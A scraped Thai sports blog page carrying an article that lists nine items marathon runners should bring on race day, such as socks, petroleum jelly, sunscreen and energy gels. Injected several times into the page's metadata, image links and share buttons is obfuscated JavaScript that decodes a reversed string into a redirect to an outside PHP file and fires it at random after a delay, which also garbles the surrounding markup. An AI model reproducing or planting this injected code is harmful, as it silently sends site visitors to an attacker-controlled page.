andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andra-winata-CYOFvtpOIpU-unsplash.jpg","contentUrl":"https://www.stepextra.com/wp-content/uploads/2019/09/cropped-candom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andra-winata-CYOFvtpOIpU-unsplash.jpg","width":1200,"height":675},{"@type":"WebPage","@id":"https://www.stepextra.com/9-items-recommend-on-marathon-race-day/#webpage","url":"https://www.stepextra.com/9-items-recommend-on-marathon-race-day/","name":"อุปกรณ์ 9 อย่างที่ชาวมาราธอนควรมีติดไว้ - StepExtra","isPartOf":{"@id":"https://www.stepextra.com/#website"},"primaryImageOfPage":{"@id":"https://www.stepextra.com/9-items-recommend-on-marathon-race-day/#primaryimage"},"datePublished":"2019-09-21T14:40:01+00:00","dateModified":"2019-09-21T14:40:08+00:00","author":{"@id":"https://www.stepextra.com/#/schema/person/3d6ae3d26ec98210683a7b0ced0ac9d4"},"breadcrumb":{"@id":"https://www.stepextra.com/9-items-recommend-on-marathon-race-day/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https://www.stepextra.com/9-items-recommend-on-marathon-race-day/"]}]},{"@type":"BreadcrumbList","@id":"https://www.stepextra.com/9-items-recommend-on-marathon-race-day/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https://www.stepextra.com/"},{"@type":"ListItem","position":2,"name":"อุปกรณ์ 9 อย่างที่ชาวมาราธอนควรมีติดไว้"}]},{"@type":"Person","@id":"https://www.stepextra.com/#/schema/person/3d6ae3d26ec98210683a7b0ced0ac9d4","name":"kan","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https://www.stepextra.com/#/schema/person/image/","url":"https://secure.gravatar.com/avatar/d4c4d7bd6bf34c4dbd8273eb6d599c68?s=96&d=mm&r=g","contentUrl":"https://secure.gravatar.com/avatar/d4c4d7bd6bf34c4dbd8273eb6d599c68?s=96&d=mm&r=g","caption":"kan"},"sameAs":["https://www.facebook.com/kanthad?ref=bookmarks"],"url":"https://www.stepextra.com/author/kan/"}]}
  • เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Running Tips

อุปกรณ์ 9 อย่างที่ชาวมาราธอนควรมีติดไว้

kan by kan
21 September 2019
in Running Tips
0
$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andra-winata-CYOFvtpOIpU-unsplash.jpg">
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter
$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andra-winata-CYOFvtpOIpU-unsplash.jpg&description=%E0%B8%AD%E0%B8%B8%E0%B8%9B%E0%B8%81%E0%B8%A3%E0%B8%93%E0%B9%8C+9+%E0%B8%AD%E0%B8%A2%E0%B9%88%E0%B8%B2%E0%B8%87%E0%B8%97%E0%B8%B5%E0%B9%88%E0%B8%8A%E0%B8%B2%E0%B8%A7%E0%B8%A1%E0%B8%B2%E0%B8%A3%E0%B8%B2%E0%B8%98%E0%B8%AD%E0%B8%99%E0%B8%84%E0%B8%A7%E0%B8%A3%E0%B8%A1%E0%B8%B5%E0%B8%95%E0%B8%B4%E0%B8%94%E0%B9%84%E0%B8%A7%E0%B9%89" rel='nofollow' class="jeg_btn-pinterest ">

ถ้าพรุ่งนี้คืองานวิ่ง HALF หรือ FULL MARATHON การเตรียมตัวให้พร้อมจะช่วยให้คุณจบการแข่งขันได้ง่ายขึ้นหรือไม่ก็ DNF (DO NOT FINNISH) ก็ได้ การเตรียมอุปกรณ์และสิ่งจำเป็นติดตัวจะช่วยให้เราสนุกกับงานวิ่ง มีผลช่วยเพิ่มพลังใจและ BOOST PERFORMANCE ขึ้นอีกนิด  

อุปกรณ์ 9 อย่างที่ชาวมาราธอนควรมีติดไว้

หลายๆ ครั้งที่เราต้องรู้สึกไม่พร้อม ไม่มั่นใจและเซ็งในอารมณ์เวลาเจ้ามือถือแบตหมด รองเท้าใหม่กัด หิวตลอดเวลาวิ่ง ฉะนั้นมีเจ้าอุปกรณ์ที่จำเป็น 9 อย่าง เราแนะนำต้องห้ามลืมเด็ดขาด เรามาดู CHECKLIST กัน….

1. ถุงเท้าวิ่งแบบ SPORT SOCK ไม่ใช่ถุงเท้าทำงานทั่วไป โดยส่วนมากคุณต้องลองผิดลองถูกเอง บางคนเลือกแบบ COMPRESSION SOCK แบบรัดกระชักอุ้งเท้าไปเลย แต่หลักที่สำคัญคือ ถุงเท้าต้องช่วยระบายเหงื่อได้ดี ให้ความรู้สึกกระชับ เท้าแห้งไม่อมเหงื่อ ถุงเท้ากีฬาอาจจะลื่นนิดหน่อยแต่จะช่วยป้องกันเท้าพอง (BLISTER) ถ้าคู่ดีๆ หน่อยก็จะให้ความรู้สึกหนานุ่มขึ้นมาอีก

2. วาสลีน เอาไว้ทาตามงามขา ทาตามข้อขาพับต่างๆ เพื่อลดการเสียดสีของผิวหนัง

3. หมวก VISOR กันแดดและช่วยกันเหงื่อเข้าตา แนะนำให้ใส่คู่กับแว่นตากันแดดด้วย

4. ขนมหรืออาหารสำหรับ REFUEL อย่างเช่น ENERGY GEL/BAR หรือธัญพืชอัดแท่ง และอย่าลืมเครื่องดื่ม SPORT DRINK หรือเครื่องดื่มเกลือแร่ เพราะนอกจากร่างกายจะสูญเสียน้ำแล้ว ร่างกายก็จะสูญเสียเกลือแร่ไปด้วย ปกติงานวิ่งจะมีเครื่องดื่มเกลือแร่ให้ประจำสถานี ดังนั้นบางคนจึงใช้ SALT STICK แทน เวลาวิ่งแนะนำให้ตั้งเวลาไว้เลยว่า 15-20 นาทีรับน้ำและทุกๆ 40-45 นาที REFUEL จะช่วยเติมพลังงานให้คุณจนถึงเส้นชัย

5. โลชั่น SUNSCREEN ทาก่อนออกวิ่งทุกครั้งอย่างน้อย 15 นาทีก่อนวิ่ง ยิ่งสนามวิ่งเมืองไทยแล้ว ร้อนทุกสนามและแนะนำให้ละเลงทั่วตัวเลย ไม่งั้นวิ่งปิ้งย่างผิวไหม้แน่นอน

6. นาฬิกา GPS WATCH หรือจะใช้ SMARTPHONE ก็ได้แต่สำคัญที่สุดคือแบตเตอรี่ ควรเสียบชาร์จไว้ตั้งแต่คืนก่อนวิ่งเลย ชาร์จให้แบตเต็ม 100 % จะได้ไม่ต้องดับกลางทาง และก่อนถึงเวลาวิ่งก็ควร PAIR อุปกรณ์กันก่อนให้เรียบร้อย

7. ผ้าเช็ดตัว มีประโยชน์มากเวลาวิ่งจบการแข่งขัน เวลาคุณผลัดเปลี่ยนเสื้อคุณจะได้เอาไว้เช็ดตัวให้ตัวแห้งเข้าไว้ หรือจะจุ้มน้ำบิดน้ำออกหมาดๆ เช็ดทำความสะอาดร่างกายก็ดี ไม่ต้องเสียเวลาแย่งห้องน้ำกับนักวิ่งคนอื่น และแนะนำให้ติดกระดาษทิชชู่ไว้สำรองด้วย เผื่อใช้เช้ดทำความสะอาดกรณีที่จำเป็น

8. ชุดลำลองเปลี่ยนหลังจบการวิ่งและรองเท้าแตะ อย่านั่งแช่เหงื่อให้อับชื่น มันไม่ดีต่อสุขถาพผิวหนังและร่างกายจะสูญเสียอุณหภูมิได้ง่าย ยิ่งสภาพอากาศเย็นๆ เราแนะนำให้เปลี่ยนใส่เสื้อผ้าใหม่ที่เตรียมไว้

9. น้ำและอาหารมื้อเล็กๆ สำรองไว้หลังวิ่งจบ เพราะบางครั้งเมื่อมาถึงเส้นชัยแล้ว อาหารและน้ำที่ทางผู้จัดงานเตรียมไว้อาจจะไม่เหลือแล้ว หรือมีคนมุงมากจนต้องต่อคิวนาน เราแนะนำให้รับประทานเสบียงที่เตรียมมาเพื่อรองท้องไว้ก่อนจะดีกว่า โดยเฉพาะน้ำและเครื่องดื่มเหลือแร่ มีติดไว้จะช่วยลดอาการขาดน้ำได้เยอะเลย

และอุปกรณ์แนะนำอื่นๆ ที่ควรพกมาด้วยก็อย่างเช่น เครื่องปฐมพยาบาลเบื้องต้น กรณีที่มีบาดแผลจะได้ใช้งานได้ทันท่วงที

อ้างอิง runningmagazine.ca

ShareTweetShare
$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andra-winata-CYOFvtpOIpU-unsplash.jpg&description=%E0%B8%AD%E0%B8%B8%E0%B8%9B%E0%B8%81%E0%B8%A3%E0%B8%93%E0%B9%8C+9+%E0%B8%AD%E0%B8%A2%E0%B9%88%E0%B8%B2%E0%B8%87%E0%B8%97%E0%B8%B5%E0%B9%88%E0%B8%8A%E0%B8%B2%E0%B8%A7%E0%B8%A1%E0%B8%B2%E0%B8%A3%E0%B8%B2%E0%B8%98%E0%B8%AD%E0%B8%99%E0%B8%84%E0%B8%A7%E0%B8%A3%E0%B8%A1%E0%B8%B5%E0%B8%95%E0%B8%B4%E0%B8%94%E0%B9%84%E0%B8%A7%E0%B9%89" rel='nofollow' class="jeg_btn-pinterest ">
kan

kan

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • เฟรมสำเนา เหมือนแค่ไหนยังไงก็คือของปลอม!

    0 shares
    Share 0 Tweet 0
  • เกร็ดความรู้กับล้อจักรยาน

    0 shares
    Share 0 Tweet 0
  • หนึ่งวันก่อนวันวิ่งแข่งขัน เราควรซ้อมวิ่งหรือไม่วิ่งซ้อมวิ่งดี!!?

    0 shares
    Share 0 Tweet 0
  • มือใหม่อยาก วิ่ง 10 กิโล ต้องเริ่มอย่างไรและเรียนรู้อะไรบ้าง

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.